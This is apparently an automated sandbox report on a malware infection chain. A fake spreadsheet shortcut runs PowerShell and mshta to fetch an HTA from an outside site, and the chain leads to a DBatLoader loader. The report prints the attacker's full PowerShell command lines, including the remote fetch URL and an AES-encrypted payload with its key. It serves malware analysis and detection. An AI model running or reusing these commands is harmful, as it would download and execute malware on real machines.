Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Section loaded: windows.storage.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: FT. 40FE CNY .xlsx.lnk

LNK file: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\Public\Libraries\bwsiuvcU.pif

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source:	Binary string: calc.pdbGCTL source: mshta.exe, 00000009.00000003.1852414679.0000019AC1771000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1855006902.000001A2C46D0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852363981.000001A2C46CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1863703689.0000019AC1772000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852558870.000001A2C46E1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852439079.000001A2C46DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1851615477.000001A2C4722000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852067245.000001A2C4393000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1865516494.000001A2C46F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852507533.000001A2C4710000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852261324.000001A2C46D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852234112.000001A2C438F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852117667.0000019AC1757000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1851691454.000001A2C438D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1853065476.000001A2C46E5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1865380060.000001A2C46D1000.00000004.00000020.00020000.00000000.sdmp, yt[1].hta.9.dr
Source:	Binary string: PSReadline.pdbaK source: powershell.exe, 00000011.00000002.1635136687.0000029E326E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000011.00000002.1629294581.0000029E323A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp, easinvoker.exe.19.dr
Source:	Binary string: _.pdb source: bwsiuvcU.pif, 00000017.00000002.1680345757.000000003DA95000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000003.1516343993.000000003BDC9000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1681909755.0000000040260000.00000004.08000000.00040000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1681582310.000000003EDE1000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1787983024.0000000025D95000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1791650361.00000000284A0000.00000004.08000000.00040000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1634916828.0000000023FF4000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1790805820.0000000026F71000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2555827704.0000000040350000.00000004.08000000.00040000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000003.1719620200.000000003BD8F000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554498447.000000003DA65000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2555544877.000000003ED31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: calc.pdb source: mshta.exe, 00000009.00000003.1852414679.0000019AC1771000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1855006902.000001A2C46D0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852363981.000001A2C46CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1863703689.0000019AC1772000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852067245.000001A2C4393000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852117667.0000019AC1757000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1851691454.000001A2C438D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1865380060.000001A2C46D1000.00000004.00000020.00020000.00000000.sdmp, yt[1].hta.9.dr
Source:	Binary string: easinvoker.pdbH source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1514685918.0000000014B20000.00000004.00000020.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp, easinvoker.exe.19.dr
Source:	Binary string: owershell.PSReadline.pdb source: powershell.exe, 00000011.00000002.1629294581.0000029E32432000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Unpacked PE file: 23.2.bwsiuvcU.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Unpacked PE file: 25.2.bwsiuvcU.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Unpacked PE file: 27.2.bwsiuvcU.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Unpacked PE file: 23.2.bwsiuvcU.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Unpacked PE file: 25.2.bwsiuvcU.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Unpacked PE file: 27.2.bwsiuvcU.pif.400000.0.unpack

Yara detected DBatLoader

Source: Yara match	File source: 19.2.uc.exe.2980000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.1728089924.0000000002831000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1499010628.0000000002385000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.1438376010.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

.NET source code contains method to dynamically call methods (often used by packers)

Source: 23.2.bwsiuvcU.pif.3ee39b90.4.raw.unpack, wrQqF835PFmCSFtGtO.cs	.Net Code: Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777263)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777238)),Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777265))})
Source: 23.2.bwsiuvcU.pif.40260f08.7.raw.unpack, wrQqF835PFmCSFtGtO.cs	.Net Code: Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777263)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777238)),Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777265))})
Source: 23.2.bwsiuvcU.pif.3dad646e.2.raw.unpack, wrQqF835PFmCSFtGtO.cs	.Net Code: Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777263)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777238)),Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777265))})
Source: 23.2.bwsiuvcU.pif.3ede6478.5.raw.unpack, wrQqF835PFmCSFtGtO.cs	.Net Code: Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777263)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777238)),Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777265))})
Source: 23.2.bwsiuvcU.pif.409c0000.8.raw.unpack, wrQqF835PFmCSFtGtO.cs	.Net Code: Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777263)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777238)),Type.GetTypeFromHandle(GQrU0bnwgpyJgU1Ig9.lclvoe0ZagvR7(16777265))})

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.Tra

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF\Clas\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW \| powershell -
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW \| powershell -	Jump to behavior

Source: bwsiuvcU.pif.19.dr

Static PE information: 0x9E9038DB [Sun Apr 19 22:51:07 2054 UTC]

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_02997AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,

19_2_02997AC0

Source: easinvoker.exe.19.dr	Static PE information: section name: .imrsiv
Source: netutils.dll.19.dr	Static PE information: section name: .xdata
Source: netutils.dll.19.dr	Static PE information: section name: /4
Source: netutils.dll.19.dr	Static PE information: section name: /19
Source: netutils.dll.19.dr	Static PE information: section name: /31
Source: netutils.dll.19.dr	Static PE information: section name: /45
Source: netutils.dll.19.dr	Static PE information: section name: /57
Source: netutils.dll.19.dr	Static PE information: section name: /70
Source: netutils.dll.19.dr	Static PE information: section name: /81
Source: netutils.dll.19.dr	Static PE information: section name: /92

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB95FB5D push esp; retf	17_2_00007FFAAB95FB5E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB958167 push ebx; ret	17_2_00007FFAAB95816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB9584E1 push es; ret	17_2_00007FFAAB9584E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB950CCE pushad ; retf	17_2_00007FFAAB950D3D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAABA244B4 push cs; ret	17_2_00007FFAABA244B6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAABA2433D push cs; ret	17_2_00007FFAABA2433F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAABA24390 push cs; ret	17_2_00007FFAABA24392
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAABA242E8 push cs; ret	17_2_00007FFAABA242EA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAABA24209 push cs; ret	17_2_00007FFAABA24232
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAABA2914E push ss; ret	17_2_00007FFAABA2914F
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_029832F0 push eax; ret	19_2_0298332C
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_029AA2F4 push 029AA35Fh; ret	19_2_029AA357
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_0299D20C push ecx; mov dword ptr [esp], edx	19_2_0299D211
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02986372 push 029863CFh; ret	19_2_029863C7
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02986374 push 029863CFh; ret	19_2_029863C7
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_029AA0AC push 029AA125h; ret	19_2_029AA11D
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02993028 push 02993075h; ret	19_2_0299306D
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02993027 push 02993075h; ret	19_2_0299306D
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_029AA1F8 push 029AA288h; ret	19_2_029AA280
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_029AA144 push 029AA1ECh; ret	19_2_029AA1E4
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_0298673E push 02986782h; ret	19_2_0298677A
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02986740 push 02986782h; ret	19_2_0298677A
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_0298C528 push ecx; mov dword ptr [esp], edx	19_2_0298C52D
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_0298D55C push 0298D588h; ret	19_2_0298D580
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_0298CBA8 push 0298CD2Eh; ret	19_2_0298CD26
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02999B58 push 02999B90h; ret	19_2_02999B88
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_029A9B70 push 029A9D8Eh; ret	19_2_029A9D86
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_0298C8D6 push 0298CD2Eh; ret	19_2_0298CD26
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_029978C8 push 02997945h; ret	19_2_0299793D
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02996902 push 029969AFh; ret	19_2_029969A7
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02996904 push 029969AFh; ret	19_2_029969A7

Source: 23.2.bwsiuvcU.pif.3ee39b90.4.raw.unpack, wrQqF835PFmCSFtGtO.cs	High entropy of concatenated method names: 'ICAyBoI8nQ', 'KDikMXewCI', 'L8eyiSD8RZ', 'NWhy3UvHJp', 'hrcyqFProH', 'xbkytiDasQ', 'cE1voes021ZUN', 'ErtcfHgK7I', 'NFQcC8bA4F', 'TE6czWL5Zk'
Source: 23.2.bwsiuvcU.pif.40260f08.7.raw.unpack, wrQqF835PFmCSFtGtO.cs	High entropy of concatenated method names: 'ICAyBoI8nQ', 'KDikMXewCI', 'L8eyiSD8RZ', 'NWhy3UvHJp', 'hrcyqFProH', 'xbkytiDasQ', 'cE1voes021ZUN', 'ErtcfHgK7I', 'NFQcC8bA4F', 'TE6czWL5Zk'
Source: 23.2.bwsiuvcU.pif.3dad646e.2.raw.unpack, wrQqF835PFmCSFtGtO.cs	High entropy of concatenated method names: 'ICAyBoI8nQ', 'KDikMXewCI', 'L8eyiSD8RZ', 'NWhy3UvHJp', 'hrcyqFProH', 'xbkytiDasQ', 'cE1voes021ZUN', 'ErtcfHgK7I', 'NFQcC8bA4F', 'TE6czWL5Zk'
